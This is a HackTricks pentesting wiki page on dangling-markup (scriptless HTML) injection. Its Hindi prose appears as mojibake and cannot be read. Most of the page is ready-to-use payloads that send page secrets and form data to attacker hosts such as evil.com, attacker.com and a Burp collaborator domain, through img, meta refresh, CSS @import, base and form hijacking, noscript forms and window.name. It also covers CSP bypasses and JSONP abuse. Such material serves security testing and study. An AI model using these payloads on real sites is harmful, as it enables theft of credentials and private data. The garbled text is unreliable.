Dangling Markup - HTML scriptless injection

Reading time: 11 minutes

tip

AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

Resume

рдпрд╣ рддрдХрдиреАрдХ рддрдм рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ рдЬрдм HTML injection рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА рд╣реИ рдпрджрд┐ рдЖрдк рдХреЛрдИ рддрд░реАрдХрд╛ рдирд╣реАрдВ рдвреВрдВрдв рдкрд╛рддреЗ XSS рдХреЛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд▓реЗрдХрд┐рди рдЖрдк рдХреБрдЫ HTML рдЯреИрдЧреНрд╕ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдпрд╣ рддрдм рднреА рдЙрдкрдпреЛрдЧреА рд╣реИ рдЬрдм рдХреБрдЫ рдЧреБрдкреНрдд рдЬрд╛рдирдХрд╛рд░реА рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдореЗрдВ HTML рдореЗрдВ рд╕рд╣реЗрдЬреА рдЧрдИ рд╣реЛ рдФрд░ рдЖрдк рдЗрд╕реЗ exfiltrate рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдпрд╛ рдпрджрд┐ рдЖрдк рдХреБрдЫ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рднрдЯрдХрд╛рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред

рдпрд╣рд╛рдВ рдЯрд┐рдкреНрдкрдгреА рдХреА рдЧрдИ рдХрдИ рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреБрдЫ Content Security Policy рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рддрд░реАрдХреЛрдВ (html рдЯреИрдЧреНрд╕, CSS, http-meta рдЯреИрдЧреНрд╕, рдлреЙрд░реНрдо, рдмреЗрд╕...) рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА exfiltrate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

Main Applications

Stealing clear text secrets

рдпрджрд┐ рдЖрдк <img src='http://evil.com/log.cgi? рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рддреЗ рд╣реИрдВ рдЬрдм рдкреГрд╖реНрда рд▓реЛрдб рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдкреАрдбрд╝рд┐рдд рдЖрдкрдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд┐рдП рдЧрдП img рдЯреИрдЧ рдФрд░ рдХреЛрдб рдХреЗ рднреАрддрд░ рдЕрдЧрд▓реЗ рдЙрджреНрдзрд░рдг рдХреЗ рдмреАрдЪ рдХрд╛ рд╕рднреА рдХреЛрдб рднреЗрдЬ рджреЗрдЧрд╛ред рдпрджрд┐ рдХрд┐рд╕реА рддрд░рд╣ рдЙрд╕ рднрд╛рдЧ рдореЗрдВ рдПрдХ рдЧреБрдкреНрдд рдЬрд╛рдирдХрд╛рд░реА рд╣реИ, рддреЛ рдЖрдк рдЗрд╕реЗ рдЪреБрд░рд╛ рд▓реЗрдВрдЧреЗ (рдЖрдк рдбрдмрд▓ рдЙрджреНрдзрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рд╡рд╣реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рджреЗрдЦреЗрдВ рдХрд┐ рдХреМрди рд╕рд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛ рд╕рдХрддрд╛ рд╣реИ)ред

рдпрджрд┐ img рдЯреИрдЧ рдирд┐рд╖рд┐рджреНрдз рд╣реИ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП CSP рдХреЗ рдХрд╛рд░рдг) рддреЛ рдЖрдк <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi? рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

html
<img src='http://attacker.com/log.php?HTML= <meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text= <meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ Chrome HTTP URLs рдХреЛ "<" рдпрд╛ "\n" рдХреЗ рд╕рд╛рде рдмреНрд▓реЙрдХ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЖрдк "ftp" рдЬреИрд╕реЗ рдЕрдиреНрдп рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╕реНрдХреАрдореЛрдВ рдХреЛ рдЖрдЬрдорд╛ рд╕рдХрддреЗ рд╣реИрдВред

рдЖрдк CSS @import рдХрд╛ рднреА рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдпрд╣ рд╕рднреА рдХреЛрдб рдХреЛ рддрдм рддрдХ рднреЗрдЬреЗрдЧрд╛ рдЬрдм рддрдХ рдХрд┐ рдпрд╣ ";" рдирд╣реАрдВ рдвреВрдВрдв рд▓реЗрддрд╛)ред

html
<style>@import//hackvertor.co.uk? <--- Injected <b>steal me!</b>;

рдЖрдк <table рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

html
<table background='//your-collaborator-id.burpcollaborator.net?'

рдЖрдк <base рдЯреИрдЧ рднреА рдбрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВред рд╕рднреА рдЬрд╛рдирдХрд╛рд░реА рддрдм рддрдХ рднреЗрдЬреА рдЬрд╛рдПрдЧреА рдЬрдм рддрдХ рдЙрджреНрдзрд░рдг рдмрдВрдж рдирд╣реАрдВ рд╣реЛ рдЬрд╛рддрд╛ рд▓реЗрдХрд┐рди рдЗрд╕рдХреЗ рд▓рд┐рдП рдХреБрдЫ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ (рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдХрд┐рд╕реА рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдирд╛ рд╣реЛрдЧрд╛, рдХреНрдпреЛрдВрдХрд┐ рдмреЗрд╕ рдЯреИрдЧ рдиреЗ рд▓рд┐рдВрдХ рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЧрд┐рдд рдбреЛрдореЗрди рдХреЛ рдмрджрд▓ рджрд┐рдпрд╛ рд╣реЛрдЧрд╛):

html
<base target=' <--- Injected steal me'<b>test</b>

рдлреЙрд░реНрдо рдЪреБрд░рд╛рдирд╛

html
<base href="http://evil.com/" />

рдлрд┐рд░, рдЬреЛ рдлреЙрд░реНрдо рдбреЗрдЯрд╛ рдХреЛ рдкрде рдкрд░ рднреЗрдЬрддреЗ рд╣реИрдВ (рдЬреИрд╕реЗ <form action='update_profile.php'>) рд╡реЗ рдбреЗрдЯрд╛ рдХреЛ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдбреЛрдореЗрди рдкрд░ рднреЗрдЬреЗрдВрдЧреЗред

рдлреЙрд░реНрдо рдЪреБрд░рд╛рдирд╛ 2

рдПрдХ рдлреЙрд░реНрдо рд╣реЗрдбрд░ рд╕реЗрдЯ рдХрд░реЗрдВ: <form action='http://evil.com/log_steal'> рдпрд╣ рдЕрдЧрд▓реЗ рдлреЙрд░реНрдо рд╣реЗрдбрд░ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдЧрд╛ рдФрд░ рдлреЙрд░реНрдо рд╕реЗ рд╕рднреА рдбреЗрдЯрд╛ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рднреЗрдЬрд╛ рдЬрд╛рдПрдЧрд╛ред

рдлреЙрд░реНрдо рдЪреБрд░рд╛рдирд╛ 3

рдмрдЯрди URL рдХреЛ рдмрджрд▓ рд╕рдХрддрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдлреЙрд░реНрдо рдХреА рдЬрд╛рдирдХрд╛рд░реА рднреЗрдЬреА рдЬрд╛рдПрдЧреА "formaction" рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рд╕рд╛рде:

html
<button name="xss" type="submit" formaction="https://google.com"> I get consumed! </button>

рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЬрд╛рдирдХрд╛рд░реА рдЪреБрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдЗрд╕ рд╣рдорд▓реЗ рдХрд╛ рдЙрджрд╛рд╣рд░рдг рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рдЦреЛрдЬреЗрдВ.

рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рд░рд╣рд╕реНрдпреЛрдВ рдХреЛ рдЪреБрд░рд╛рдирд╛ 2

рдлрд╛рд░реНрдо рдЪреБрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдирд╡реАрдирддрдо рдЙрд▓реНрд▓реЗрдЦрд┐рдд рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП (рдПрдХ рдирдпрд╛ рдлреЙрд░реНрдо рд╣реЗрдбрд░ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛) рдЖрдк рдлрд┐рд░ рдПрдХ рдирдпрд╛ рдЗрдирдкреБрдЯ рдлрд╝реАрд▓реНрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

html
<input type='hidden' name='review_body' value="

рдФрд░ рдпрд╣ рдЗрдирдкреБрдЯ рдлрд╝реАрд▓реНрдб HTML рдореЗрдВ рдЗрд╕рдХреЗ рдбрдмрд▓ рдХреЛрдЯ рдХреЗ рдмреАрдЪ рдФрд░ рдЕрдЧрд▓реЗ рдбрдмрд▓ рдХреЛрдЯ рдХреЗ рдмреАрдЪ рд╕рднреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕рдорд╛рд╣рд┐рдд рдХрд░реЗрдЧрд╛ред рдпрд╣ рд╣рдорд▓рд╛ "рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рд░рд╣рд╕реНрдпреЛрдВ рдХреА рдЪреЛрд░реА" рдХреЛ "рдлрд╛рд░реНрдореЛрдВ рдХреА рдЪреЛрд░реА2" рдХреЗ рд╕рд╛рде рдорд┐рд▓рд╛рддрд╛ рд╣реИред

рдЖрдк рдПрдХ рдлрд╝реЙрд░реНрдо рдФрд░ рдПрдХ <option> рдЯреИрдЧ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ рд╡рд╣реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╕рднреА рдбреЗрдЯрд╛ рдЬрдм рддрдХ рдПрдХ рдмрдВрдж </option> рдирд╣реАрдВ рдорд┐рд▓ рдЬрд╛рддрд╛, рднреЗрдЬрд╛ рдЬрд╛рдПрдЧрд╛:

html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

Form parameter injection

рдЖрдк рдПрдХ рдлреЙрд░реНрдо рдХреЗ рдкрде рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдирдП рдорд╛рди рдбрд╛рд▓ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдПрдХ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдХреНрд░рд┐рдпрд╛ рдХреА рдЬрд╛рдПрдЧреА:

html
<form action="/change_settings.php"> <input type="hidden" name="invite_user" value="fredmbogo" /> тЖР Injected lines <form action="/change_settings.php"> тЖР Existing form (ignored by the parser) ... <input type="text" name="invite_user" value="" /> тЖР Subverted field ... <input type="hidden" name="xsrf_token" value="12345" /> ... </form> </form>

рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рд░рд╣рд╕реНрдпреЛрдВ рдХреЛ noscript рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЪреБрд░рд╛рдирд╛

<noscript></noscript> рдПрдХ рдЯреИрдЧ рд╣реИ рдЬрд┐рд╕рдХрд╛ рд╕рд╛рдордЧреНрд░реА рдЙрд╕ рд╕рдордп рд╡реНрдпрд╛рдЦреНрдпрд╛рдпрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬрдм рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд░рддрд╛ (рдЖрдк chrome://settings/content/javascript рдореЗрдВ Chrome рдореЗрдВ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╕рдХреНрд╖рдо/рдЕрдХреНрд╖рдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред

рдПрдХ рддрд░реАрдХрд╛ рд╣реИ рд╡реЗрдм рдкреГрд╖реНрда рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рдмрд┐рдВрджреБ рд╕реЗ рдиреАрдЪреЗ рддрдХ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рд╕рд╛рдЗрдЯ рдкрд░ рдирд┐рдХрд╛рд▓рдиреЗ рдХрд╛, рдпрд╣ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдирд╛:

html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

Bypassing CSP with user interaction

From this portswiggers research you can learn that even from the most CSP restricted environments you can still exfiltrate data with some user interaction. In this occasion we are going to use the payload:

html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a> <base target='

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рд╢рд┐рдХрд╛рд░ рд╕реЗ рдПрдХ рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣реЗрдВрдЧреЗ рдЬреЛ рдЙрд╕реЗ рдкреЗрд▓реЛрдб рдХреА рдУрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░реЗрдЧрд╛ рдЬрд┐рд╕реЗ рдЖрдк рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рднреА рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ base рдЯреИрдЧ рдХреЗ рдЕрдВрджрд░ target рд╡рд┐рд╢реЗрд╖рддрд╛ рдореЗрдВ HTML рд╕рд╛рдордЧреНрд░реА рд╣реЛрдЧреА рдЕрдЧрд▓реА рдПрдХрд▓ рдЙрджреНрдзрд░рдг рддрдХред
рдЗрд╕рд╕реЗ рдпрд╣ рд╣реЛрдЧрд╛ рдХрд┐ рдпрджрд┐ рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддреЛ window.name рдХрд╛ рдорд╛рди рд╕рднреА HTML рд╕рд╛рдордЧреНрд░реА рд╣реЛрдЧреАред рдЗрд╕рд▓рд┐рдП, рдЪреВрдВрдХрд┐ рдЖрдк рдЙрд╕ рдкреГрд╖реНрда рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдЬрд┐рд╕ рдкрд░ рд╢рд┐рдХрд╛рд░ рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ рдкрд╣реБрдВрдЪ рд░рд╣рд╛ рд╣реИ, рдЖрдк рдЙрд╕ window.name рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕ рдбреЗрдЯрд╛ рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

html
<script> if(window.name) { new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name); </script>

Misleading script workflow 1 - HTML namespace attack

HTML рдХреЗ рдЕрдВрджрд░ рдПрдХ рдирдпрд╛ рдЯреИрдЧ рдбрд╛рд▓реЗрдВ рдЬрд┐рд╕рдореЗрдВ рдПрдХ рдЖрдИрдбреА рд╣реЛ рдЬреЛ рдЕрдЧрд▓реЗ рдЯреИрдЧ рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░реЗрдЧрд╛ рдФрд░ рдПрдХ рдРрд╕рд╛ рдорд╛рди рд╣реЛрдЧрд╛ рдЬреЛ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдкреНрд░рд╡рд╛рд╣ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░реЗрдЧрд╛ред рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ, рдЖрдк рдпрд╣ рдЪреБрди рд░рд╣реЗ рд╣реИрдВ рдХрд┐ рдХрд┐рд╕рдХреЗ рд╕рд╛рде рдЬрд╛рдирдХрд╛рд░реА рд╕рд╛рдЭрд╛ рдХреА рдЬрд╛рдПрдЧреА:

html
<input type="hidden" id="share_with" value="fredmbogo" /> тЖР Injected markup ... Share this status update with: тЖР Legitimate optional element of a dialog <input id="share_with" value="" /> ... function submit_status_update() { ... request.share_with = document.getElementById('share_with').value; ... }

Misleading script workflow 2 - Script namespace attack

HTML рдЯреИрдЧреНрд╕ рдбрд╛рд▓рдХрд░ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд╛рдорд╕реНрдерд╛рди рдХреЗ рдЕрдВрджрд░ рд╡реЗрд░рд┐рдПрдмрд▓ рдмрдирд╛рдПрдВред рдлрд┐рд░, рдпрд╣ рд╡реЗрд░рд┐рдПрдмрд▓ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдкреНрд░рд╡рд╛рд╣ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░реЗрдЧрд╛:

html
<img id="is_public" /> тЖР Injected markup ... // Legitimate application code follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) тЖР The subsequent assignment fails in IE is_public = true; else is_public = false; } function submit_new_acls() { ... if (is_public) request.access_mode = AM_PUBLIC; тЖР Condition always evaluates to true ... }

JSONP рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ

рдпрджрд┐ рдЖрдк рдПрдХ JSONP рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рдкрд╛рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдордирдорд╛рдиреЗ рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рдПрдХ рдордирдорд╛рдиреА рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ:

html
<script src='/editor/sharing.js'>: тЖР Legitimate script function set_sharing(public) { if (public) request.access_mode = AM_PUBLIC; else request.access_mode = AM_PRIVATE; ... } <script src='/search?q=a&call=set_sharing'>: тЖР Injected JSONP call set_sharing({ ... })

рдпрд╛ рдЖрдк рдХреБрдЫ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

html
<script src="/search?q=a&call=alert(1)"></script>

Iframe abuse

рдПрдХ рдмрд╛рд▓ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдореЗрдВ рдЕрдкрдиреЗ рдорд╛рддрд╛-рдкрд┐рддрд╛ рдХреА location рдкреНрд░реЙрдкрд░реНрдЯреА рдХреЛ рджреЗрдЦрдиреЗ рдФрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реЛрддреА рд╣реИ, рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдореЗрдВ рднреАред рдпрд╣ рдПрдХ iframe рдХреЗ рднреАрддрд░ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдПрдореНрдмреЗрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬреЛ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рдХрд┐рд╕реА рднреА рдкреГрд╖реНрда рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ:

html
<html> <head></head> <body> <script> top.window.location = "https://attacker.com/hacked.html" </script> </body> </html>

рдпрд╣ рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рд╕реЗ рдХрдо рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: sandbox=' allow-scripts allow-top-navigation'

рдПрдХ iframe рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдЕрд▓рдЧ рдкреГрд╖реНрда рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ iframes рдирд╛рдо рд╡рд┐рд╢реЗрд╖рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ рдЖрдк рдПрдХ iframe рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рд╕реНрд╡рдпрдВ рдХреЛ iframe рдХрд░рддрд╛ рд╣реИ, HTML рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдЬреЛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ iframe рдирд╛рдо рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рдЕрдВрджрд░ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдлрд┐рд░ рдЙрд╕ рдирд╛рдо рдХреЛ рдкреНрд░рд╛рд░рдВрднрд┐рдХ iframe рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░рдХреЗ рд▓реАрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

html
<script> function cspBypass(win) { win[0].location = "about:blank" setTimeout(() => alert(win[0].name), 500) } </script> <iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes

<meta abuse

рдЖрдк meta http-equiv рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрдИ рдХреНрд░рд┐рдпрд╛рдПрдБ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ рдХрд┐ рдПрдХ Cookie рд╕реЗрдЯ рдХрд░рдирд╛: <meta http-equiv="Set-Cookie" Content="SESSID=1"> рдпрд╛ рдПрдХ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░рдирд╛ (рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ 5 рд╕реЗрдХрдВрдб рдореЗрдВ): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

рдЗрд╕реЗ CSP рдХреЗ рд╕рд╛рде рдЯрд╛рд▓рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ http-equiv рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ ( Content-Security-Policy: default-src 'self';, рдпрд╛ Content-Security-Policy: http-equiv 'self';)

New <portal HTML tag

рдЖрдк <portal рдЯреИрдЧ рдХреА рд╢реЛрд╖рдг рдпреЛрдЧреНрдп рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдкрд░ рдПрдХ рдмрд╣реБрдд рджрд┐рд▓рдЪрд╕реНрдк рд╢реЛрдз рдпрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред
рдЗрд╕ рд▓реЗрдЦрди рдХреЗ рд╕рдордп, рдЖрдкрдХреЛ Chrome рдореЗрдВ chrome://flags/#enable-portals рдкрд░ portal рдЯреИрдЧ рд╕рдХреНрд╖рдо рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдпрд╛ рдпрд╣ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ред

html
<portal src='https://attacker-server?

HTML Leaks

HTML рдореЗрдВ рдХрдиреЗрдХреНрдЯрд┐рд╡рд┐рдЯреА рд▓реАрдХ рдХрд░рдиреЗ рдХреЗ рд╕рднреА рддрд░реАрдХреЗ Dangling Markup рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рдирд╣реАрдВ рд╣реЛрдВрдЧреЗ, рд▓реЗрдХрд┐рди рдХрднреА-рдХрднреА рдпрд╣ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЙрдиреНрд╣реЗрдВ рдпрд╣рд╛рдБ рджреЗрдЦреЗрдВ: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

SS-Leaks

рдпрд╣ dangling markup рдФрд░ XS-Leaks рдХреЗ рдмреАрдЪ рдХрд╛ рдПрдХ рдорд┐рд╢реНрд░рдг рд╣реИред рдПрдХ рддрд░рдл, рдпрд╣ рднреЗрджреНрдпрддрд╛ HTML (рд▓реЗрдХрд┐рди JS рдирд╣реАрдВ) рдХреЛ same origin рдХреЗ рдПрдХ рдкреГрд╖реНрда рдореЗрдВ inject рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬрд┐рд╕реЗ рд╣рдо рд╣рдорд▓рд╛ рдХрд░реЗрдВрдЧреЗред рджреВрд╕рд░реА рддрд░рдл, рд╣рдо рдЙрд╕ рдкреГрд╖реНрда рдкрд░ рд╕реАрдзреЗ рд╣рдорд▓рд╛ рдирд╣реАрдВ рдХрд░реЗрдВрдЧреЗ рдЬрд╣рд╛рдБ рд╣рдо HTML inject рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдмрд▓реНрдХрд┐ рджреВрд╕рд░реЗ рдкреГрд╖реНрда рдкрд░ред

SS-Leaks

XS-Search/XS-Leaks

XS-Search cross-origin рдЬрд╛рдирдХрд╛рд░реА рдХреЛ side channel attacks рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ exfiltrate рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдиреНрдореБрдЦ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдпрд╣ Dangling Markup рд╕реЗ рдПрдХ рдЕрд▓рдЧ рддрдХрдиреАрдХ рд╣реИ, рд╣рд╛рд▓рд╛рдБрдХрд┐, рдХреБрдЫ рддрдХрдиреАрдХреЗрдВ HTML рдЯреИрдЧ рдХреЗ рд╕рдорд╛рд╡реЗрд╢ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИрдВ (JS рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рд╕рд╛рде рдФрд░ рдмрд┐рдирд╛), рдЬреИрд╕реЗ CSS Injection рдпрд╛ Lazy Load Images.

XS-Search/XS-Leaks

Brute-Force Detection List

Auto_Wordlists/wordlists/dangling_markup.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

References

tip

